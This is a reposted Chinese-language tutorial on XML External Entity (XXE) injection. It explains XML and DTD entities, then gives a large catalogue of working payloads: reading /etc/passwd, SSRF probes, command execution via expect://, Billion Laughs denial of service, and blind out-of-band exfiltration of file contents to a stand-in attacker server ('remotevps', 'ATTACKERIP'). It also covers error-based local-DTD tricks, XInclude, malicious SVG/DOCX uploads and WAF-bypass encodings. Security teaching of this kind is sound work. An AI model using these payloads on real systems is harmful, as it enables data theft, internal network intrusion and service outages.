文库 | XML外部实体注入总结(XXE)

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篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文库 | XML外部实体注入总结(XXE)相关的知识,希望对你有一定的参考价值。

一.XXE基础

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

例如php中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

二.XML基础


XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 html
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准

XML 是不作为的。

也许这有点难以理解,但是 XML 不会做任何事情。

XML 被设计用来结构化、存储以及传输信息。

下面是 John 写给 George 的便签,存储为 XML:

 
   
   
 
  1. <note>

  2. <to>George</to>

  3. <from>John</from>

  4. <heading>Reminder</heading>

  5. <body>Don't forget the meeting!</body>

  6. </note>

上面的这条便签具有自我描述性。

它拥有标题以及留言,同时包含了发送者和接受者的信息。

但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。

我们需要编写软件或者程序,才能传送、接收和显示出这个文档。

除此之外,XML是纯文本,且允许创作者定义自己的标签和文档结构,是独立于软件和硬件的信息传输工具。

DTD


文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

 
   
   
 
  1. <!DOCTYPE 根元素 [元素声明]>

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

 
   
   
 
  1. <!DOCTYPE 根元素 SYSTEM "文件名">

DTD的作用:

  • 通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

  • 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

  • 您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

  • 您还可以使用 DTD 来验证您自身的数据。

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。

实体类别

实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)

  • 字符实体 (Character entities)

  • 通用实体 (General entities)

  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:

 
   
   
 
  1. <!ENTITY 实体名称 "实体的值">

外部实体:

 
   
   
 
  1. <!ENTITY 实体名称 SYSTEM "URI">

参数实体:

 
   
   
 
  1. <!ENTITY % 实体名称 "实体的值">

  2. 或者

  3. <!ENTITY % 实体名称 SYSTEM "URI">

实例演示:除参数实体外实体+内部实体

 
   
   
 
  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE a [

  3. <!ENTITY name "nMask">]>

  4. <foo>

  5. <value>&name;</value>

  6. </foo>

实例演示:参数实体+外部实体

 
   
   
 
  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE a [

  3. <!ENTITY % name SYSTEM "file:///etc/passwd">

  4. %name;

  5. ]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体

外部实体即在DTD中使用

 
   
   
 
  1. <!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

php安装扩展后还能支持的一些协议:

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XML外部实体注入

XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。

XXE是针对解析XML输入的应用程序的一种攻击。

当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。

这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。

三.XXE检测


主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。

如图,首先检测XML是否会被成功解析:

 
   
   
 
  1. <?xml version="1.0" encoding="UTF-8"?>

  2. <!DOCTYPE ANY [

  3. <!ENTITY words "Hello XXE !">]>

  4. <root>&words;</root>

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如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析。

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接下来检测该端点是否支持DTD引用外部实体:

 
   
   
 
  1. <?xml version=”1.0 encoding=”UTF-8”?>

  2. <!DOCTYPE ANY [

  3. <!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">

  4. %name;

  5. ]>

此时通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。

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如图所示,则该处很可能存在XML外部实体注入漏洞。

另外,许多服务端开发框架(比如基于RESTful服务的JAX-RS)也允许基于数据交换的XML格式作为输入,甚至是输出。

如果可以进行这种替换,可以通过修改请求头中的Content-Type的值(比如修改成text/xml或者application/xml)来进行验证触发。

即使客户端只能使用JSON格式或者是直接路径或者是参数查询的方式来访问服务。

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,

如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

这块知识在下面的XXE利用中有详细介绍。

四.XXE利用及payload


以下利用主要基于libxml2版本,其中libxml是PHP的xml支持。
而libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。

文件读取

 
   
   
 
  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE xxe [

  3. <!ELEMENT name ANY >

  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

  5. <root>

  6. <name>&xxe;</name>

  7. </root>

文件读取的利用和payload非常好理解,即使用file协议读取文件内容,并输出到页面上(有回显的情况)。

SSRF

XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议。

 
   
   
 
  1. <?xml version="1.0" encoding="ISO-8859-1"?>

  2. <!DOCTYPE foo [

  3. <!ELEMENT foo ANY >

  4. <!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >

  5. ]>

  6. <foo>&xxe;</foo>

当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的。

众所周知,有些企业对内网的安全性可能不那么注重。

除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。

关于ncat的使用:ncat-网络工具中的‘瑞士军刀’

用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

 
   
   
 
  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [

  3. <!ELEMENT data (#PCDATA)>

  4. ]>

  5. <data>4</data>

如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。

RCE

在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令

 
   
   
 
  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE xxe [

  3. <!ELEMENT name ANY >

  4. <!ENTITY xxe SYSTEM "expect://id" >]>

  5. <root>

  6. <name>&xxe;</name>

  7. </root>

DDoS

支持实体测试:

 
   
   
 
  1. <!DOCTYPE data [

  2. <!ELEMENT data (#ANY)>

  3. <!ENTITY a0 "dos" >

  4. <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">

  5. <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">

  6. ]>

  7. <data>&a2;</data>

如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。

Billion Laughs 攻击

一个经典的Dos攻击payload:

 
   
   
 
  1. <?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol">

  2. <!ELEMENT lolz (#PCDATA)>

  3. <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

  4. <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  6. ......

  7. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

  8. ]>

  9. <lolz>&lol9;</lolz>

当XML解析器加载该文档时,它会看到它包含一个根元素“lolz”,该元素包含文本“&lol9;”。

然而,“&lol9;”是一个已定义的实体,它扩展为包含十个“&lol8;”字符串。

每个“&lol8;”字符串都是一个已定义的实体,可以扩展到10个“&lol7;”字符串,以此类推。

在处理完所有的实体扩展之后,这个小(小于1 KB)的XML块实际上将包含109 = 10亿个“lol”,占用了将近3 gb的内存。

Blind XXE

Blind XXE,字面意思也就是提交xml的服务器端点不再返回有效的数据,此时我们前面的一些利用方法就要失效了。但是解决方法还是有的。

XXE OOB(外带数据通道)
概念

带外数据(out—of—band data),有时也称为加速数据(expedited data),
是指连接双方中的一方发生重要事情,想要迅速地通知对方。

这种通知在已经排队等待发送的任何“普通” (有时称为“带内”)数据之前发送。

带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的,而不是在客户机和服务器间再用一个连接。

利用

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

但有些情况下不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

 
   
   
 
  1. <?xml version="1.0"?>

  2. <!DOCTYPE ANY[

  3. <!ENTITY % file SYSTEM "file:///C:/1.txt">

  4. <!ENTITY % remote SYSTEM "http://remotevps/evil.xml">

  5. %remote;

  6. %all;

  7. ]>

  8. <root>&send;</root>

evil.xml:

 
   
   
 
  1. <!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?file=%file;'>">

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。当请求发送以后,攻击者的服务器上就能查看到1.txt中的内容。

基于错误的XXE

形同blind xxe,当我们成功地让服务端解析了xml文档,得到的响应却是通用的。比如添加账号的时候只返回“添加成功”这样的响应。此时我们可以让服务器响应报错信息来得到我们要的敏感数据。

有两种报错的来源:

  • DTD结构的错误

  • XML架构验证时的错误

外部DTD

在本例中,我们将让服务器加载一个恶意DTD,它将在错误消息中显示文件的内容(只有当可以看到错误消息时,这才有效)。

可以使用恶意的外部DTD触发包含/etc/passwd文件内容的XML解析错误消息,如下所示:

 
   
   
 
  1. <!ENTITY % file SYSTEM "file:///etc/passwd">

  2. <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

  3. %eval;

  4. %error;

这个DTD执行以下步骤:

定义一个名为file的XML参数实体,其中包含/etc/passwd文件的内容。

定义一个名为eval的XML参数实体,包含另一个名为error的XML参数实体的动态声明。错误实体将通过加载一个不存在的文件来评估,该文件的名称包含文件实体的值。

使用eval实体,该实体将导致执行错误实体的动态声明。

使用错误实体,以便通过尝试加载不存在的文件来得到数据,从而导致返回包含不存在文件的名称的错误消息,该名称正是/etc/passwd文件的内容。

实例演示:

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请注意,外部DTD允许我们在第二个(eval)中包含一个实体,但在内部DTD中是禁止的。因此,在不允许使用外部DTD的情况下(通常)强制执行错误是行不通的。

内外部DTD混合

那么,当带外交互被阻止(外部连接不可用)时, blind XXE漏洞怎么办?

在这种情况下,由于XML语言规范中的漏洞,仍然有可能触发包含敏感数据的错误消息。

如果文档的DTD混合使用内部和外部DTD声明,那么内部DTD可以重新定义在外部DTD中声明的实体。

当发生这种情况时,在另一个参数实体的定义中使用XML参数实体的限制就放宽了。

这意味着攻击者可以从内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体是重新定义在外部DTD中声明的实体。

当然,如果带外连接被阻塞,那么就不能从远程位置加载外部DTD。

相反,它需要是应用服务器本地的外部DTD文件。

从本质上说,攻击涉及调用碰巧存在于本地文件系统上的DTD文件,并将其重新用于重定义现有实体,从而触发包含敏感数据的解析错误。

例如,假设服务器文件系统上位于位置/usr/local/app/schema.上有一个DTD文件这个dtd文件定义了一个名为custom_entity的实体。

攻击者可以通过提交如下混合DTD来触发包含/etc/passwd文件内容的XML解析错误消息:

 
   
   
 
  1. <!DOCTYPE foo [

  2. <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">

  3. <!ENTITY % custom_entity '

  4. <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">

  5. <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">

  6. &#x25;eval;

  7. &#x25;error;

  8. '>

  9. %local_dtd;

  10. ]>

这个DTD执行以下步骤:
定义名为local_dtd的XML参数实体,其中包含存在于服务器文件系统上的外部DTD文件的内容。
重新定义名为custom_entity的XML参数实体,该实体已经在外部DTD文件中定义。

实体被重新定义为包含前面描述的基于错误的XXE漏洞,用于触发包含/etc/passwd文件内容的错误消息。
使用local_dtd实体,以便解释外部DTD,包括重新定义的custom_entity实体的值。这将导致所需的错误消息。
现实世界的例子:使用GNOME桌面环境的系统通常有一个DTD在/usr/share/yelp/ DTD /docbookx包含名为ISOamso的实体的dtd。

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由于该技术使用内部DTD,所以首先需要找到一个有效的DTD。

你可以安装相同的服务器正在使用的操作系统/软件和搜索一些默认dtd,或抓取系统内的默认dtd列表,并检查其中是否存在。

 
   
   
 
  1. <!DOCTYPE foo [

  2. <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

  3. %local_dtd;

  4. ]>

XInclude攻击

什么是XInclude?顾名思义,xinclude可以理解为xml include

熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的。

那么文件包含有什么好处?

当然是可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性。

故此,xinclude也不例外,它是xml标记语言中包含其他文件的方式。

一些应用程序接收客户端提交的数据,会将其嵌入到服务器端XML文档中,然后解析文档。

当客户端提交的数据被放置到后端SOAP(简单对象访问协议)请求中,然后由后端SOAP服务处理时,就会出现这种情况。

在这种情况下,我们不能执行典型的XXE攻击,因为无法控制整个XML文档,因此不能定义或修改DOCTYPE元素。但是,我们可以使用XInclude代替。

XInclude是XML规范的一部分,它允许从子文档构建XML文档。

我们可以在XML文档中的任何数据值中放置XInclude攻击,因此可以在只控制放在服务器端XML文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,需要引用XInclude名称空间并提供希望包含的文件的路径。

例如:

 
   
   
 
  1. productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

详细的利用请参考: 浅析xml之xinclude & xslt

XSTL攻击

XSLT(扩展样式表转换语言)是一种对 XML 文档进行转化的语言。XML 文档通过 XSLT 转化后可以变成为另一份不同的 XML 文档,或者其他类型的文档,例如 HTML 文档、 CSV 文件、纯文本文件等。

有关具体的转化过程,请参考:sourse

因为同样具有XML文档,那也有XXE的漏洞隐患。关于具体的应用,可参考优秀翻译文章:sourse

五.XXE Bypass


上传文件绕过

有些应用程序允许用户上传文件,然后在服务器端处理这些文件。

一些常见的文件格式使用XML或包含XML子组件。

基于xml的格式包括DOCX这样的办公文档格式和SVG这样的图像格式。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。

即使应用程序希望接收PNG或JPEG之类的格式,所使用的图像处理库也可能支持SVG图像。

由于SVG格式使用XML,攻击者可以提交恶意的SVG图像,从而达到针对XXE漏洞的隐藏攻击面。

 
   
   
 
  1. <svgxmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="300"version="1.1"height="200"><imagexlink:href="file:///etc/hostname"></image></svg>

另外,许多常见的文档格式,例如doc,docx,odt等,其实质是一个zip文件,其中包含xml文件。

当我们用winrar、7z等工具打开这类文件就能看到:

文库 | XML外部实体注入总结(XXE)

我们可以利用这些文件来绕过xxe防御。 

oxml_xxe就是一个用于向此类文件中嵌入XXE Payload的工具。

它支持以下文件格式的创建或修改:

  • DOCX/XLSX/PPTX

  • ODT/ODG/ODP/ODS

  • SVG

  • XML

  • PDF (experimental)

  • JPG (experimental)

  • GIF (experimental)

oxml_xxe的工作原理分为两种:

  • 一是直接建立一个文件,该模式会自动添加DOCTYPE并将XML实体插入到用户选择的文件中。

  • 二是替换文件中的字符串,此模式会遍历查找文档中的符号§。并用XML实体(“&xxe;”)替换此符号的所有实例。注意,你可以在任何地方打开文档并插入§来替换它。

    常见的用例是web应用程序,它读取xlsx,然后将结果打印到屏幕上。利用XXE我们便可以将内容打印到屏幕上。

编码绕过

base64
 
   
   
 
  1. <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

仅当XML服务器接受data://协议时,此方法才有效。

utf-7

直接上样例:

 
   
   
 
  1. <!xml version="1.0" encoding="UTF-7"?-->

  2. +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

使用两种编码

思路是在同一个文档里同时使用两种编码,从而迷惑 WAF。直接用生成的命令来说明:

 
   
   
 
  1. echo -n '<?xml version="1.0" encoding="UTF-16BE"?>'> payload.xml

  2. echo '<a>1337</a>'| iconv -f UTF-8-t UTF-16BE>> payload.xml

头部声明使用 UTF-8 编码,而之后使用 UTF-16 编码。当解析器读到 XML 声明的编码时,会切换到该编码(继续解析),即使该编码与声明部分所使用的编码不同。

与此同时,WAF 一般不支持这种多种编码的 XML 文档。

在实体内编码

最新的XML技术,对内部实体中的任何DTD/XML进行编码(编码格式是字符串16进制+UTF-8形式),达到WAF bypass的效果!
当没有XXE,但XML主体中存在漏洞(例如SQL注入)时起作用。

文档中的额外空格

由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

六.XXE工具


XXEinjector

XXEinjector是一个使用Ruby编写的自动化xxe漏洞检测工具,可以通过给定一个http请求的包,然后设置好好参数就会自动化的进行fuzz,他会通过内置的规则进行自动化的测试,并且还支持二次注入(通过另一个请求触发漏洞)。

七.参考资料


未知攻焉知防——XXE漏洞攻防https://phonexicum.github.io/infosec/xxe.html#xxe-targetshttps://github.com/enjoiz/XXEinjectorPayloadsAllTheThings/XXE Injection at master【译】黑夜的猎杀-盲打XXE - 先知社区浅析xml之xinclude & xslt – CoLaBug.comXML External Entity - HackTricks


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以上是关于文库 | XML外部实体注入总结(XXE)的主要内容,如果未能解决你的问题,请参考以下文章

利用XML外部实体注入XXE攻击漏洞

浅谈XML实体注入漏洞

Web漏洞|XXE漏洞详解(XML外部实体注入)

XXE外部实体注入(XML External Entity Injection)学习笔记

XXE攻防——XML外部实体注入

XML外部实体注入(XXE)